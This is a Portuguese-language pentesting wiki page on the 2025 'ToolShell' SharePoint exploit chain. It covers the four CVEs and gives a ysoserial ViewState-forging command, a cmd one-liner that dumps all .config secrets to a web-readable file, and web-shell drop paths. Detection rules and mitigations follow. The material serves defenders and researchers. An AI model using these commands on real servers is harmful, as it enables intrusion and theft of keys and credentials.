# Microsoft SharePoint – Pentesting & Exploitation {{#include ../../banners/hacktricks-training.md}} > Microsoft SharePoint (local) é construído sobre ASP.NET/IIS. A maior parte da superfície de ataque web clássica (ViewState, Web.Config, web shells, etc.) está, portanto, presente, mas o SharePoint também vem com centenas de páginas ASPX proprietárias e serviços web que ampliam dramaticamente a superfície de ataque exposta. Esta página coleta truques práticos para enumerar, explorar e persistir dentro de ambientes SharePoint, com ênfase na cadeia de exploração de 2025 divulgada pela Unit42 (CVE-2025-49704/49706/53770/53771). ## 1. Quick enumeration ``` # favicon hash and keywords curl -s https:///_layouts/15/images/SharePointHome.png curl -s https:///_vti_bin/client.svc | file - # returns WCF/XSI # version leakage (often in JS) curl -s https:///_layouts/15/init.js | grep -i "spPageContextInfo" # interesting standard paths /_layouts/15/ToolPane.aspx # vulnerable page used in 2025 exploit chain /_vti_bin/Lists.asmx # legacy SOAP service /_catalogs/masterpage/Forms/AllItems.aspx # enumerate sites & site-collections (requires at least Anonymous) python3 Office365-ADFSBrute/SharePointURLBrute.py -u https:// ``` ## 2. Cadeia de exploração 2025 (a.k.a. “ToolShell”) ### 2.1 CVE-2025-49704 – Injeção de Código em ToolPane.aspx `/_layouts/15/ToolPane.aspx?PageView=…&DefaultWebPartId=` permite que código *Server-Side Include* arbitrário seja injetado na página, que é posteriormente compilada pelo ASP.NET. Um atacante pode incorporar C# que executa `Process.Start()` e inserir um ViewState malicioso. ### 2.2 CVE-2025-49706 – Bypass de Autenticação Impropria A mesma página confia no cabeçalho **X-Forms_BaseUrl** para determinar o contexto do site. Ao apontá-lo para `/_layouts/15/`, a MFA/SSO aplicada no site raiz pode ser contornada **sem autenticação**. ### 2.3 CVE-2025-53770 – Desserialização de ViewState Não Autenticada → RCE Uma vez que o atacante controla um gadget em `ToolPane.aspx`, ele pode postar um valor `__VIEWSTATE` **não assinado** (ou apenas com MAC) que aciona a desserialização .NET dentro do *w3wp.exe*, levando à execução de código. Se a assinatura estiver habilitada, roube a **ValidationKey/DecryptionKey** de qualquer `web.config` (veja 2.4) e forje o payload com *ysoserial.net* ou *ysodom*: ``` ysoserial.exe -g TypeConfuseDelegate -f Json.Net -o raw -c "cmd /c whoami" | ViewStateGenerator.exe --validation-key --decryption-key -o payload.txt ``` Para uma explicação detalhada sobre como abusar do ASP.NET ViewState, leia: {{#ref}} ../../pentesting-web/deserialization/exploiting-__viewstate-parameter.md {{#endref}} ### 2.4 CVE-2025-53771 – Path Traversal / divulgação do web.config Enviar um parâmetro `Source` elaborado para `ToolPane.aspx` (por exemplo, `../../../../web.config`) retorna o arquivo alvo, permitindo a divulgação de: * `` ➜ forjar cookies ViewState / ASPXAUTH * strings de conexão e segredos. ## 3. Receitas de pós-exploração observadas na natureza ### 3.1 Exfiltrar todos os arquivos *.config* (variação-1) ``` cmd.exe /c for /R C:\inetpub\wwwroot %i in (*.config) do @type "%i" >> "C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\debug_dev.js" ``` O resultado do `debug_dev.js` pode ser baixado anonimamente e contém **todas** as configurações sensíveis. ### 3.2 Implantar um shell web ASPX codificado em Base64 (variação-2) ``` powershell.exe -EncodedCommand ``` Exemplo de payload decodificado (abreviado): ```csharp <%@ Page Language="C#" %> <%@ Import Namespace="System.Security.Cryptography" %> ``` Escrito para: ``` C:\Program Files\Common Files\Microsoft Shared\Web Server Extensions\16\TEMPLATE\LAYOUTS\spinstall0.aspx ``` A shell expõe endpoints para **ler / girar chaves de máquina** que permitem forjar cookies ViewState e ASPXAUTH em toda a fazenda. ### 3.3 Variante ofuscada (variação-3) Mesma shell, mas: * colocada em `...\15\TEMPLATE\LAYOUTS\` * nomes de variáveis reduzidos a letras únicas * `Thread.Sleep()` adicionado para evasão de sandbox e bypass de AV baseado em tempo. ## 4. Ideias de detecção | Telemetria | Por que é suspeito | |------------|---------------------| | `w3wp.exe → cmd.exe` | O processo de trabalho raramente deve gerar shell | | `cmd.exe → powershell.exe -EncodedCommand` | Padrão clássico de lolbin | | Eventos de arquivo criando `debug_dev.js` ou `spinstall0.aspx` | IOCs diretamente do ToolShell | | `ProcessCmdLine CONTÉM ToolPane.aspx` (logs ETW/Módulo) | PoCs públicas invocam esta página | Exemplo de regra XDR / Sysmon (pseudo-XQL): ``` proc where parent_process_name="w3wp.exe" and process_name in ("cmd.exe","powershell.exe") ``` ## 5. Dureza & Mitigação 1. **Patch** – Atualizações de segurança de julho de 2025 corrigem *todos* os quatro CVEs. 2. **Rotacione** todos os segredos `` e `ViewState` após a violação. 3. Remova a permissão de escrita *LAYOUTS* dos grupos `WSS_WPG` & `WSS_ADMIN_WPG`. 4. Bloqueie o acesso externo a `/_layouts/15/ToolPane.aspx` no nível de proxy/WAF. 5. Ative **ViewStateUserKey**, **MAC habilitado** e *EventValidation* personalizado. ## Truques relacionados * IIS pós-exploração & abuso de web.config: {{#ref}} ../../network-services-pentesting/pentesting-web/iis-internet-information-services.md {{#endref}} ## Referências - [Unit42 – Exploração Ativa de Vulnerabilidades do Microsoft SharePoint](https://unit42.paloaltonetworks.com/microsoft-sharepoint-cve-2025-49704-cve-2025-49706-cve-2025-53770/) - [GitHub PoC – Cadeia de exploração ToolShell](https://github.com/real-or-not/ToolShell) - [Microsoft Security Advisory – CVE-2025-49704 / 49706](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-49704) - [Microsoft Security Advisory – CVE-2025-53770 / 53771](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2025-53770) {{#include ../../banners/hacktricks-training.md}}